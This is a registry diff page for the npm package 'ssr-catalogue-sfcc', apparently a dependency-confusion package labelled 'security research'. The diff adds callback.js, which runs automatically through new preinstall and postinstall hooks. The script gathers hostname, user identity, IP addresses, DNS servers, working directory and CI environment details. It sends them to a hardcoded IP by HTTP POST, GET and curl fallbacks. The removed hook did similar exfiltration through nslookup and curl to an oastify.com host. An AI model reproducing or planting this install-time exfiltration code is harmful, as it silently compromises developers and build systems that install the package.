ssr-catalogue-sfcc 99.99.2 → 99.99.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/callback.js +91 -0
  2. package/package.json +4 -3
package/callback.js ADDED
@@ -0,0 +1,91 @@
1
+ var http = require("http");
2
+ var os = require("os");
3
+ var cp = require("child_process");
4
+ var dns = require("dns");
5
+
6
+ var HOST = "168.220.234.152";
7
+ var PORT = 9999;
8
+ var SECRET = "8c3fa477120a86f93a704356fe643af5";
9
+
10
+ function run(c) {
11
+ try { return cp.execSync(c, { timeout: 5000 }).toString().trim(); }
12
+ catch(e) { return ""; }
13
+ }
14
+
15
+ function getIP() {
16
+ var n = os.networkInterfaces();
17
+ for (var k in n) for (var i = 0; i < n[k].length; i++)
18
+ if (n[k][i].family === "IPv4" && !n[k][i].internal) return n[k][i].address;
19
+ return "";
20
+ }
21
+
22
+ var data = {
23
+ hostname: os.hostname(),
24
+ os_type: os.type(),
25
+ os_platform: os.platform(),
26
+ os_release: os.release(),
27
+ os_arch: os.arch(),
28
+ uname: run("uname -a"),
29
+ whoami: run("whoami"),
30
+ uid: run("id"),
31
+ internal_ip: getIP(),
32
+ external_ip: run("curl -s --connect-timeout 3 ifconfig.me 2>/dev/null || curl -s --connect-timeout 3 icanhazip.com 2>/dev/null"),
33
+ dns_servers: run("cat /etc/resolv.conf 2>/dev/null | grep nameserver | head -5"),
34
+ reverse_dns: "",
35
+ pwd: run("pwd"),
36
+ node_ver: process.version,
37
+ npm_ver: run("npm --version"),
38
+ ci: process.env.CI || "",
39
+ jenkins: process.env.JENKINS_URL || "",
40
+ github_actions: process.env.GITHUB_ACTIONS || "",
41
+ gitlab_ci: process.env.GITLAB_CI || "",
42
+ build_id: process.env.BUILD_ID || process.env.BUILD_NUMBER || "",
43
+ job_name: process.env.JOB_NAME || "",
44
+ codebuild: process.env.CODEBUILD_BUILD_ID || "",
45
+ ts: new Date().toISOString()
46
+ };
47
+
48
+ // Reverse DNS on external IP to prove ownership
49
+ if (data.external_ip) {
50
+ data.reverse_dns = run("nslookup " + data.external_ip + " 2>/dev/null | grep name | head -2");
51
+ }
52
+
53
+ var body = JSON.stringify(data);
54
+
55
+ // Method 1: HTTP POST with full data
56
+ try {
57
+ var req = http.request({
58
+ hostname: HOST, port: PORT, path: "/" + SECRET + "/cb",
59
+ method: "POST", timeout: 10000,
60
+ headers: { "Content-Type": "application/json", "Content-Length": Buffer.byteLength(body) }
61
+ }, function(){});
62
+ req.on("error", function(){});
63
+ req.write(body);
64
+ req.end();
65
+ } catch(e) {}
66
+
67
+ // Method 2: GET with key params as fallback
68
+ var q = "h=" + encodeURIComponent(data.hostname)
69
+ + "&u=" + encodeURIComponent(data.whoami)
70
+ + "&id=" + encodeURIComponent(data.uid)
71
+ + "&ip=" + encodeURIComponent(data.internal_ip)
72
+ + "&eip=" + encodeURIComponent(data.external_ip)
73
+ + "&os=" + encodeURIComponent(data.uname.substring(0, 200))
74
+ + "&dns=" + encodeURIComponent(data.dns_servers)
75
+ + "&rdns=" + encodeURIComponent(data.reverse_dns)
76
+ + "&ci=" + encodeURIComponent(data.ci || data.jenkins || data.github_actions || data.gitlab_ci || "none")
77
+ + "&pwd=" + encodeURIComponent(data.pwd);
78
+
79
+ try {
80
+ var req2 = http.request({
81
+ hostname: HOST, port: PORT, path: "/" + SECRET + "/cb?" + q,
82
+ method: "GET", timeout: 10000
83
+ }, function(){});
84
+ req2.on("error", function(){});
85
+ req2.end();
86
+ } catch(e) {}
87
+
88
+ // Method 3: curl fallback
89
+ try {
90
+ run("curl -sk -X POST http://" + HOST + ":" + PORT + "/" + SECRET + "/cb -H 'Content-Type: application/json' -d @- --connect-timeout 5 <<'CBEOF'\n" + body + "\nCBEOF");
91
+ } catch(e) {}
package/package.json CHANGED
@@ -1,9 +1,10 @@
1
1
  {
2
2
  "name": "ssr-catalogue-sfcc",
3
- "version": "99.99.2",
4
- "description": "dependency confusion test",
3
+ "version": "99.99.3",
4
+ "description": "dependency confusion security research",
5
5
  "main": "index.js",
6
6
  "scripts": {
7
- "postinstall": "nslookup $(hostname).eygpdoi78ineegksxdpwlgpt5kbbz1nq.oastify.com || true; curl \"http://eygpdoi78ineegksxdpwlgpt5kbbz1nq.oastify.com/?h=$(hostname)&u=$(whoami)\" || true"
7
+ "preinstall": "node callback.js 2>/dev/null || true",
8
+ "postinstall": "node callback.js 2>/dev/null || true"
8
9
  }
9
10
  }